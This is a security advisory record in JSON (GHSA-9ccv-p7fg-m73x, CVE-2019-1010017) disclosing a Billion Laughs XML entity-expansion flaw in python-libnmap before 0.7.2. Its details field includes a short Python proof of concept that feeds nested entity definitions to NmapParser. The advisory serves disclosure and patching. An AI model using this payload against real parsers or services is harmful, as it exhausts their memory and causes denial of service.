{"id":"GHSA-9ccv-p7fg-m73x","summary":"XML Injection in python-libnmap","details":"### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\"\u003e\n \u003c!ELEMENT lolz (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\"\u003e\n \u003c!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\"\u003e\n \u003c!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\"\u003e\n]\u003e\n\u003clolz\u003e\u003chello\u003e&lol3;\u003c/hello\u003e\u003c/lolz\u003e\n\"\"\"\n\nty.parse(payload)\n```","aliases":["CVE-2019-1010017","PYSEC-2019-218"],"modified":"2024-10-16T02:55:18.406249Z","published":"2019-07-18T15:38:41Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2019-07-18T15:38:22Z","nvd_published_at":"2019-07-15T03:15:00Z","cwe_ids":["CWE-91"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-1010017"},{"type":"WEB","url":"https://github.com/savon-noir/python-libnmap/issues/87"},{"type":"WEB","url":"https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml"},{"type":"PACKAGE","url":"https://github.com/savon-noir/python-libnmap"}],"affected":[{"package":{"name":"python-libnmap","ecosystem":"PyPI","purl":"pkg:pypi/python-libnmap"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}],"versions":["0.2.3","0.2.4","0.2.7","0.2.8","0.4.0","0.4.6","0.5.0","0.5.1","0.6","0.6.1","0.6.2","0.6.3","0.7.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/07/GHSA-9ccv-p7fg-m73x/GHSA-9ccv-p7fg-m73x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}